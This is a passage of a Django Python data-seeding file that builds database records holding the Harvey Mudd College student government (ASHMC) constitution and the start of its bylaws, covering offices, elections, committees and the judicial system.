the initials ASHMC.\",\n )\n section = Article.objects.create(\n parent=article,\n number=2,\n body=\"All registered students of Harvey Mudd College shall be members of ASHMC. Students who are on official Leave of Absence, and are planning to return to HMC, may petition the student council to allow them to remain members of ASHMC. They must petition at least three weeks before they wish to be a member and must pay ASHMC dues as usual. Members of ASHMC shall have one vote each in ASHMC elections as well as in all properly instituted referendums and initiatives. Members of a class/dormitory shall have one vote each in the corresponding class/dormitory elections.\",\n )\n\n article = Article.objects.create(\n parent=root,\n number=2,\n title=\"Elected and Appointed Offices\",\n )\n section = Article.objects.create(\n parent=article,\n number=1,\n title=\"Elected Offices\",\n )\n subsec = Article.objects.create(\n parent=section,\n number=1,\n body=\"The elected officers of ASHMC shall be President, Vice President, Treasurer, Social Chair, Committee for Activities Planning chair, Athletics Director, Judiciary Board Chair, Disciplinary Board chair, Dormitory Affairs Committee chair, and Senior, Junior, Sophomore, and Freshman Class Presidents.\",\n )\n subsec = Article.objects.create(\n parent=section,\n number=2,\n body=\"All elected officers of ASHMC must be members of ASHMC.\",\n )\n subsec = Article.objects.create(\n parent=section,\n number=3,\n body=\"No person shall hold two or more ASHMC elected offices and/or voting Council positions at the same time.\",\n )\n subsec = Article.objects.create(\n parent=section,\n number=4,\n body=\"The offices of ASHMC president, treasurer, JB chair, and DB chair shall be filled by individuals.\",\n )\n section = Article.objects.create(\n parent=article,\n number=2,\n body=\"Elections for ASHMC offices shall be held and offices elected between seven and five weeks before commencement.\",\n )\n section = Article.objects.create(\n parent=article,\n number=3,\n title=\"Eligibility\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=1,\n body=\"All candidates must be members of ASHMC. Dormitory/class office candidates must be members of their respective dormitory/class.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=2,\n body=\"ASHMC presidential candidates must be either juniors or seniors during the academic year of their term of office.\",\n )\n section = Article.objects.create(\n parent=article,\n number=4,\n title=\"Procedures\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=1,\n body=\"ASHMC elections shall be directed by the Student Council.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=2,\n body=\"The quorum for ASHMC, and class, and dormitory elections shall be one half of the respective constituency, not including blank and illegal votes.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=3,\n body=\"All elections authorized by this Constitution shall be loosely guided by Robert's Rules of Order, Newly Revised and the ASHMC Bylaws.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=4,\n body=\"ASHMC office candidates shall be nominated by petitions bearing the signatures of ten percent of the members of ASHMC. No member of ASHMC may sign more then one petition per office per election.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=5,\n body=\"All voting for all ASHMC elections shall be by secret ballot.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=6,\n body=\"A simple majority of total votes cast excluding blanks and illegal votes is required for election.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=7,\n body=\"Runoff elections with two candidates on the ballot shall be decided by a simple majority of total votes cast, excluding blanks, illegal votes and write-ins.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=8,\n body=\"Recall of any elected officers may be initiated by a petition bearing the signatures of one-third of the respective constituency. Successful removal of such an officer shall require a three-fourths majority of the total votes cast, excluding blanks and illegal votes, of a two-thirds quorum of the respective constituency. The recall vote shall be held within two weeks, excluding vacation periods, following the presentation of the petition to Student Council.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=9,\n body=\"Legal votes (for an office) shall be defined as votes cast for eligible members of ASHMC.\",\n )\n\n section = Article.objects.create(\n parent=article,\n number=5,\n title=\"Term of Office\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=1,\n body=\"The term of office for all elected student government officers shall begin the day following their election, and shall expire whenever they resign, are recalled, or their successor is elected, whichever comes first. Terms may overlap if agreed upon and the officers shall share a vote during that transition period.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=2,\n body=\"The new Judiciary and Disciplinary Boards shall be constituted and vote as specified for the Fall semester and shall be responsible for all new and continuing cases, effective upon a day to be determined by the new and outgoing Judiciary and Disciplinary Board chairs, within one month following the election of the new board.\",\n )\n\n section = Article.objects.create(\n parent=article,\n number=6,\n body=\"Council shall fill any vacancy in an ASHMC office by holding a special election within a month after the vacancy occurs. Interim appointments by Student Council shall not exceed one month in duration.\",\n )\n\n section = Article.objects.create(\n parent=article,\n number=7,\n body=\"If a vacancy occurs in the office of president, the vice president treasurer shall assume the duties of president until a new president is elected in accordance with Sections 3 and 4 of this article.\",\n )\n\n section = Article.objects.create(\n parent=article,\n number=8,\n title=\"Appointed Offices\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=1,\n body=\"All appointed officers shall be responsible to the Student Council for the proper functioning of their offices.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=2,\n body=\"All officers appointed by Student Council must be members of ASHMC.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=3,\n body=\"The terms for the appointed offices shall not exceed the length of one school year.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=4,\n body=\"Vacancies in ASHMC appointed offices shall be filled within one month of their occurrence.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=5,\n body=\"Student Council shall create or destroy any appointed offices it deems necessary.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=6,\n body=\"All appointed officers and club presidents receiving ASHMC funds shall report to ASHMC upon request to give the status of their appointed office or club.\",\n )\n\n section = Article.objects.create(\n parent=article,\n number=9,\n body=\"If a co-holder of an ASHMC, class, or dormitory elected office is unable to perform the duties of that office, the remaining co-holder(s) may continue to fill the office. If the co-holder who was previously unable to perform the duties of the office becomes able to resume the office, he or she may do so.\",\n )\n\n article = Article.objects.create(\n parent=root,\n number=3,\n title=\"The Student Council\",\n )\n\n section = Article.objects.create(\n parent=article,\n number=1,\n body=\"Student Council shall be the ASHMC legislative body. Each member of Student Council shall have one vote, except for the chair, who shall vote only in case of a tie. The vice president shall act as chair in the absence of the president at any given meeting.\",\n )\n\n section = Article.objects.create(\n parent=article,\n number=2,\n title=\"Members of the Student Council\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=1,\n body=\"Student Council shall consist of the President, Vice President, Treasurer, Social Chair, Athletics Director, Dormitory Presidents, Dormitory Affairs Committee Chair, Committee for Activities Planning Chair, and the Senior, Junior, Sophomore, and Freshman class presidents.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=2,\n body=\"Every member of ASHMC shall be represented on Student Council by elected ASHMC officials.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=3,\n body=\"A quorum for any Student Council meeting shall be a majority of the entire membership.\",\n )\n\n section = Article.objects.create(\n parent=article,\n number=3,\n title=\"The Student Council Shall\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=1,\n body=\"Have the power in all matters concerning ASHMC as a whole that are not specifically delegated to another authority.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=2,\n body=\"Be responsible for the enforcement of this Constitution and its Bylaws.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=3,\n body=\"Have sole authority and responsibility for the allocation of ASHMC funds. Any member of ASHMC may call for an annual audit of the financial records of ASHMC.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"Student referendum is required for the allocation of ASHMC general funds exceeding $1,500, regardless of their source or sources. A referendum is also required for any organization whose total budget requests, including mid-year budget requests, exceed $1,500 of ASHMC general funds. In the case of charges that ASHMC is legally bound to pay, no student referendum is needed, but the student body shall be informed of this cost.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=2,\n body=\"Amounts not exceeding $1,000 are subject to change by Council vote for one week following their appropriation by Student Council.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=3,\n body=\"Any non-budgeted financial obligation entered into by Student Council shall not take effect until after the next Student Council meeting following the allocation of funds by Student Council.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=4,\n body=\"The fee set for the ASHMC tax filing shall be considered a fixed expense as set by ASHMC's accountant.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=5,\n body=\"The amount each dormitory is entitled to receive per dormitory member per semester, from ASHMC, shall be a fixed fee.\",\n )\n\n section = Article.objects.create(\n parent=article,\n number=4,\n title=\"Duties of the Officers\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=1,\n title=\"The President Shall\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"Act as the executive head of ASHMC.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=2,\n body=\"Represent the best interests of ASHMC to members of the administration and faculty of Harvey Mudd College, and to organizations of The Claremont Colleges and in the Claremont community.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=3,\n body=\"Prepare an Agenda for every Council meeting.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=4,\n body=\"Attend or appoint someone to attend 5-College Executive Council meetings.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=5,\n body=\"Attend or appoint someone to attend Faculty Executive Committee meeetings and Board of Trustees meetings.\",\n )\n\n subsection = Article.objects.create(\n parent=section,\n number=2,\n title=\"The Vice President Shall\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"Record the business of all the Student Council meetings and post the minutes within three days of those meetings.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=2,\n body=\"Carry on all official correspondence of ASHMC.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=3,\n body=\"Be responsible for keeping all communications of the ASHMC Council.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=4,\n body=\"Be responsible for conducting ASHMC elections that Student Council shall direct.\",\n )\n\n subsection = Article.objects.create(\n parent=section,\n number=3,\n title=\"The Treasurer Shall\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"Be responsible for the handling of all ASHMC funds.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=2,\n body=\"Maintain precise and up-to-date financial records of ASHMC's general fund.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=3,\n body=\"Be responsible for auditing ASHMC's finances by 2 weeks before ASHMC budgeting.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=4,\n body=\"Make an annual survey of investment opportunities available and report to the council which is the optimum investment for ASHMC.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=5,\n body=\"Assure that the year end cash balance does not exceed $500, excluding the following fiscal year's financial bubble and any funds set aside for a planned purchase of long-life assets. If a surplus will exist at the end of the fiscal year, purchases of long-life assets of use or value to ASHMC will be made or planned.\",\n )\n\n subsection = Article.objects.create(\n parent=section,\n number=4,\n title=\"The Social Chair Shall\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"Be chair of the Social Committee and be responsible to Student Council for its proper functioning.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=2,\n body=\"Be responsible to regularly inform the dormitory social directors of upcoming social events to aid dormitories in scheduling events.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=3,\n body=\"Attend or appoint someone to attend 5-College Social Affairs Council meetings.\",\n )\n\n subsection = Article.objects.create(\n parent=section,\n number=5,\n title=\"The Athletic Director Shall\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=3,\n body=\"Be chair of the Athletic Committee and be responsible to the Student Council for its proper functioning.\",\n )\n\n subsection = Article.objects.create(\n parent=section,\n number=6,\n title=\"Each of the Dormitory Presidents Shall\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"Be the chief spokesman for the dormitory and represent its best interests to members of the college community.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=2,\n body=\"Be a member of the Dormitory Affairs Committee.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=3,\n body=\"Be responsible for developing dormitory regulations to be approved by the dormitory within two weeks after the beginning of the school year.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=4,\n body=\"Be responsible for the actions of every official dormitory officer, insuring that these officers fulfill their obligations.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=5,\n body=\"Keep the dormitory updated on developments in student government.\",\n )\n\n subsection = Article.objects.create(\n parent=section,\n number=7,\n title=\"The Senoir, Junior, Sophomore and Freshman Class Presidents Shall\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"Be the chief spokesman for their class and represent its best interests to members of the college community.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=2,\n body=\"Be members on the Class Presidents Committee.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=3,\n body=\"Keep their class updated on relevant developments in student government and campus events.\",\n )\n\n subsection = Article.objects.create(\n parent=section,\n number=8,\n title=\"The Committee for Activities Planning Shall\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"Be chair of the Committee for Activities Planning and be responsible to the student council for its proper functioning.\",\n )\n\n subsection = Article.objects.create(\n parent=section,\n number=9,\n title=\"The Dormitory Affairs Committee Chair Shall\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"Be chair of the Dormitory Affairs Committee and be responsible to the Student Council for its proper functioning.\",\n )\n\n article = Article.objects.create(\n parent=root,\n number=4,\n title=\"ASHMC Legislative Procedures\",\n )\n section = Article.objects.create(\n parent=article,\n number=1,\n body=\"Student Council shall maintain a system of Bylaws to supplement this Constitution. A Bylaw may be added, deleted, modified or temporarily suspended by a three-fourths majority vote of the entire membership of Student Council for a maximum duration of the remaining length of the current Student Council's term.\",\n )\n section = Article.objects.create(\n parent=article,\n number=2,\n title=\"Initiative and Referendum\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=1,\n body=\"Members of ASHMC may institute an initiative or referendum by petition of at least one-third of the members of ASHMC.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=2,\n body=\"Student Council, by a majority vote of the entire membership, may hold a referendum concerning any seconded motion made during a Student Council meeting.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=3,\n body=\"Student Council shall call an ASHMC convocation for the purpose of discussing any properly instituted initiative or referendum and shall hold an election for its ratification within four weeks of its presentation to Student Council.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=4,\n body=\"A simple majority of votes cast with a quorum of half of ASHMC is necessary for the passage of such measures.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=5,\n body=\"The results of all properly instituted and executed initiatives and referenda are binding.\",\n )\n\n section = Article.objects.create(\n parent=article,\n number=3,\n title=\"Proposed Constitutional Amendments and New ASHMC Constitutions\",\n )\n subsubsection = Article.objects.create(\n parent=section,\n number=1,\n body=\"Amendments to this Constitution or new ASHMC Constitutions may be proposed by Student Council or by petition of at least one-third of the members of ASHMC.\",\n )\n subsubsection = Article.objects.create(\n parent=section,\n number=2,\n body=\"Student Council shall call an ASHMC convocation for the purpose of discussing the constitutional amendment or the new ASHMC Constitution and shall hold an election for its ratification within four weeks of its presentation to Student Council. An amendment or new Constitution shall be established by a two-thirds majority of the total votes cast, excluding blanks, with a quorum of three-fifths of the members of ASHMC.\",\n )\n subsubsection = Article.objects.create(\n parent=section,\n number=3,\n body=\"Article VII, Sections 1 and 2 of this Constitution dealing with the Honor Code and the Disciplinary Code at Harvey Mudd College can be changed only with the approval of the faculty and administration in a manner they see appropriate, and with the approval of the students as outlined in this Constitution.\",\n )\n\n article = Article.objects.create(\n parent=root,\n number=5,\n title=\"ASHMC Committees\",\n )\n section = Article.objects.create(\n parent=article,\n number=1,\n title=\"Social Committee\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=1,\n body=\"The Social Committee shall consist of the social chair and the dormitory social directors.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=2,\n title=\"The Social Committee Shall\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"Coordinate budgeting of all social activities for ASHMC.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=2,\n body=\"Be responsible for the execution of dorm events subject to review by Student Council.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=3,\n body=\"Promote 5-College activities.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=3,\n body=\"All Social Committee policy, operating procedures, and expenditures exceeding $60 shall be determined by a majority vote of the entire membership, excluding blanks and abstentions.\",\n )\n\n section = Article.objects.create(\n parent=article,\n number=2,\n title=\"Athletic Committee\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=1,\n body=\"The Athletic Committee shall consist of the athletic director and the dormitory athletic directors.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=2,\n body=\"The Athletic Committee Shall\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"Promote intramural competition.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=2,\n body=\"Promote support for the college's intercollegiate athletic program.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=3,\n body=\"Valuate and fund requests for dorm athletic equipment.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=3,\n body=\"All expenditures over $100 shall be determined by a majority vote of the entire Athletics Committee membership. All other Athletics Committee policy and operating procedures shall be determined by a majority vote of the entire membership.\",\n )\n\n section = Article.objects.create(\n parent=article,\n number=3,\n title=\"Committee for Activities Planning\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=1,\n title=\"Composition\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"The Committee for Activities Planning shall consist of an elected chair and a representative from each dorm. A representative from the Dean of Students Office is a nonvoting member.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=2,\n title=\"Duties of Officers\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"The chair shall run committee meetings, be a member of student council, and be responsible for the proper functioning of the Committee for Activities Planning.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=2,\n body=\"Coordinate events with the Linde Activities Center events planning group, the Dean of Students Activities Planners, and related clubs.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=3,\n title=\"Duties of the Campus Center Committee\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"The Committee for Activities Planning shall provide for the planning and promotion of non-dorm based events. This committee shall also establish and promulgate rules of personal conduct for Campus Center activities.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=2,\n body=\"All Committee for Activities Planning policy and operating procedures shall be determined by a majority vote of the entire membership, excluding blanks and abstentions.\",\n )\n\n section = Article.objects.create(\n parent=article,\n number=4,\n title=\"Dormitory Affairs Committee\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=1,\n title=\"Composition\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"The Dormitory Affairs Committee shall consist of an elected chair, the social chair, and the dormitory presidents. A representative of the Dean of Students Office and a representative from the Facilities and Maintenance Office are nonvoting members.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=2,\n title=\"Duties of Officers\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"The chair shall run committee meetings, appoint a secretary, be a member of Student Council, and be responsible for the execution of committee policies.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=2,\n body=\"The secretary shall take, distribute, and post minutes of all committee meetings within three days of their occurrence.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=3,\n title=\"Duties of the Dormitory Affairs Committee\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"The Dormitory Affairs Committee has the power to propose new dormitory and campus policies, subject to approval by Student Council.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=2,\n body=\"After approval by Student Council, the dean of students is to be given a copy of the proposed policy. Upon approval, the policy shall go into effect immediately. Otherwise, the Dean must veto the proposal and state all objections in writing within ten days, excluding vacation periods. If this ten-day period passes with no response from the dean of students, the policy shall go into effect immediately.\",\n )\n\n section = Article.objects.create(\n parent=article,\n number=5,\n title=\"Class Presidents Committee\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=1,\n body=\"The Class Presidents Committee shall consist of the Senior, Junior, Sophomore, and Freshman class presidents.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=2,\n body=\"The Senior Class President shall chair the Class Presidents Committee.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=3,\n title=\"Duties of the Officers\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"Each officer shall be responsible for allocating their funding to be used for the benefit of their class.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=2,\n body=\"The Senior Class President shall be responsible for setting agendas and running the meetings of the Class Presidents Committee.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=3,\n body=\"The Class Presidents Committee shall work with relevant clubs to organize the Frosh-Soph games and the Five Class Competition.\",\n )\n\n section = Article.objects.create(\n parent=article,\n number=6,\n body=\"ASHMC committees shall make regular and timely reports to Student Council.\",\n )\n\n section = Article.objects.create(\n parent=article,\n number=7,\n body=\"Student Council shall establish any other committees it deems necessary and dissolve any committees it deems unnecessary.\",\n )\n\n section = Article.objects.create(\n parent=article,\n number=8,\n body=\"All ASHMC Committees shall hold regular meetings, with a minimum of one per month.\",\n )\n\n article = Article.objects.create(\n parent=root,\n number=6,\n title=\"Class and Dormitory Government\",\n )\n section = Article.objects.create(\n parent=article,\n number=1,\n title=\"Class Officers\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=1,\n body=\"All class offices are to be filled by individuals or to be shared between two individuals.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=2,\n body=\"The rising Sophomores shall elect at large the Sophomore Class President(s) and four Judiciary Board members within five weeks of the close of the school year. The rising Junior and Senior classes shall elect at large their class president(s), and six Judiciary Board members, and one Appeals Board member within five weeks of the close of the school year.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=3,\n body=\"The incoming freshman class shall elect at large the Freshman Class President(s) within one month of its arrival. During the last month of the first semester, the freshman class shall elect at large four Judiciary Board members who will serve during the second semester.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=4,\n body=\"The election of all class officers must conform with Article II.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=5,\n title=\"Each class president shall\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"Be the chief spokesmen for their class and represent its best interest to the members of the college.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=2,\n body=\"Be a member of the ASHMC council and the Class Presidents Committee\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=3,\n body=\"Coordinate activities for his/her class.\",\n )\n section = Article.objects.create(\n parent=article,\n number=2,\n title=\"Dormitory Officers\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=5,\n body=\"Each dormitory shall elect a president, a treasurer, an athletic director, a social director, a recycling director, and a Committee for Activities Planning representative, within three weeks of the close of the school year.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=5,\n title=\"The election of all dormitory officers will consist of the following\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"A one-week nominating period.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=2,\n body=\"A one-week voting period.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=3,\n body=\"The Student Council retains power to review and resolve all dormitory voting procedures.\",\n )\n\n section = Article.objects.create(\n parent=article,\n number=3,\n body=\"If a vacancy occurs in one of the sets of officers mentioned in Article VI, Sections 1 or 2, the group concerned must fill it by a special election within a month (not including vacation periods) of the vacancy. The election must conform with Article II. The class vice president shall assume the duties of the class president until a new class president is elected.\",\n )\n\n section = Article.objects.create(\n parent=article,\n number=4,\n body=\"Each dormitory shall be responsible for the enforcement of its dormitory regulations and those legislated by the Dormitory Affairs Committee.\",\n )\n\n section = Article.objects.create(\n parent=article,\n number=5,\n body=\"All rights not given to the Student Council, Judiciary Board, Disciplinary Board, or Appeals Board shall be reserved for the classes and dormitories.\",\n )\n\n article = Article.objects.create(\n parent=root,\n number=7,\n title=\"The Student Judicial System\",\n )\n section = Article.objects.create(\n parent=article,\n number=1,\n title=\"The Honor Code\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=1,\n body=\"All members of ASHMC are responsible for maintaining their integrity and the integrity of the college community in all academic matters and in all affairs concerning the community.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=2,\n body=\"Any member of the Harvey Mudd College community who observes an Honor Code violation shall report the violation to the Judiciary Board chair stating the offense and the names of all parties involved. Either party may request a hearing or may seek an out-of court settlement in consultation with the Judiciary Board chair. The Judiciary Board chair shall keep a complete record of all such settlements. The procedures for pursuing a Judiciary Board hearing shall be specified in the Bylaws of Constitution.\",\n )\n section = Article.objects.create(\n parent=article,\n number=2,\n title=\"The Disciplinary Code\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=1,\n body=\"All members of ASHMC are responsible for observing all nonacademic college rules and regulations, including those related to college property.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=2,\n body=\"All members of the Harvey Mudd College community agree to report violations of the Disciplinary Code to the Disciplinary Board chair. Either party may request a hearing or may seek an out-of-court settlement in consultation with the Disciplinary Board chair. The Disciplinary Board chair will keep a complete record of all such settlements. The procedures for pursuing a Disciplinary Board hearing shall be specified in the Bylaws of Constitution.\",\n )\n section = Article.objects.create(\n parent=article,\n number=3,\n )\n subsection = Article.objects.create(\n parent=section,\n number=1,\n title=\"The Judiciary Board Chair shall\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"Arrange for a meeting between the Judicial Board and the appropriate faculty to discuss the Honor Code and the Judicial System. After this meeting the chair shall prepare a presentation to the entire faculty describing the HMC community's views regarding these topics as soon as possible.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=2,\n body=\"Present to the entering freshman class with the Disciplinary Board chair during orientation a thorough description of the HMC community's views regarding the Honor Code and the Judicial System, including possible punishments.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=3,\n body=\"Fulfill all other duties as specified in the Honor System.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=2,\n title=\"The Disciplinary Board Chair shall\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"Present to the entering freshman class with the Judiciary Board chair during orientation a thorough description of the HMC community's views regarding the Honor Code and the Judicial System, including possible punishments.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=2,\n body=\"Fulfill all other duties as specified in the Honor System.\",\n )\n article = Article.objects.create(\n parent=root,\n number=8,\n title=\"Interpretation of the Constitution\",\n )\n section = Article.objects.create(\n parent=article,\n number=1,\n body=\"The Judiciary Board shall interpret any clause of the ASHMC Constitution as it pertains to any specific situation, within two weeks (excluding vacation periods) following a request to do so by any member of ASHMC.\",\n )\n\n article = Article.objects.create(\n parent=root,\n number=9,\n title=\"Ratification and Government Continuity\",\n )\n section = Article.objects.create(\n parent=article,\n number=1,\n body=\"All debts contracted and engagements entered into by ASHMC before this Constitution came into effect will continue to be honored after it has come into effect.\",\n )\n section = Article.objects.create(\n parent=article,\n number=2,\n body=\"All laws and regulations passed by previous Student Councils shall remain valid provided they do not conflict with this Constitution.\",\n )\n section = Article.objects.create(\n parent=article,\n number=3,\n body=\"This Constitution shall go into effect on May 1, 1977.\"\n )\n section = Article.objects.create(\n parent=article,\n number=4,\n body=\"Revised and approved on October 1, 2007\",\n )\n\npost_syncdb.connect(create_constitution, dispatch_uid=\"legal_canonical_constitution\")\n\n\ndef create_bylaws(sender, **kwargs):\n if Article.documents.filter(title='ASHMC Bylaws').count() > 0:\n return\n root = Article.objects.create(\n title=\"ASHMC Bylaws\",\n body=\"\"\"You can read the constitution [here](/legal/ashmc-constitution).\"\"\"\n )\n\n article = Article.objects.create(\n parent=root,\n number=1,\n title=\"ASHMC Policies\",\n )\n section = Article.objects.create(\n parent=article,\n number=1,\n body=\"ASHMC will not, per terms of the articles, act in any substantial part of its activities, attempt to influence legislation, or participate to any extent in a political campaign for or against any candidate for public office.\",\n )\n section = Article.objects.create(\n parent=article,\n number=2,\n body=\"ASHMC will not operate for benefit of private interests.\",\n )\n section = Article.objects.create(\n parent=article,\n number=3,\n body=\"ASHMC does not and will not discriminate on the basis of race, color, sex, gender, sexual orientation, age, marital status, religion, disability, national origin, ethnic origin, or prior military service in any of its policies, procedures and practices.\",\n )\n\n article = Article.objects.create(\n parent=root,\n number=2,\n title=\"Dormitory Status\",\n )\n section = Article.objects.create(\n parent=article,\n number=1,\n body=\"The dormitories are Mildred E. Mudd (East), Marks (South), North, West, Atwood, Case, Linde and Sontag.\",\n )\n\n article = Article.objects.create(\n parent=root,\n number=3,\n title=\"The Student Council\",\n )\n section = Article.objects.create(\n parent=article,\n number=1,\n body=\"Student Council shall hold weekly meetings. Regular meetings may be rescheduled by the ASHMC president if there are no objections by the Council. In case of an objection, the rescheduling may be approved by a majority vote of the Student Council. Meetings may be canceled by a majority vote of the entire membership of the Student Council.\",\n )\n section = Article.objects.create(\n parent=article,\n number=2,\n body=\"If a voting member of the Student Council does not attend or send a proxy to a scheduled Student Council meeting, they will be given a verbal or written warning. The second missed meeting in a semester will result in a written warning. If a member misses any further meetings (greater than two), then the elected official will be fined a sum of $50 for each meeting missed. All fines collected will go into the ASHMC general fund. Fines not paid in full by the end of the semester will result in a withholding of the following semester's budgeted funds. Fines not paid in full before the election of the new council will result in a formal charge to the Judiciary Board.\",\n )\n section = Article.objects.create(\n parent=article,\n number=3,\n body=\"If a member is not present for a full meeting of the Student Council, then by a two-thirds majority vote, the remainder of Council can declare this as an absence.\",\n )\n\n article = Article.objects.create(\n parent=root,\n number=4,\n title=\"Elections\",\n )\n section = Article.objects.create(\n parent=article,\n number=1,\n body=\"During all student elections on the HMC 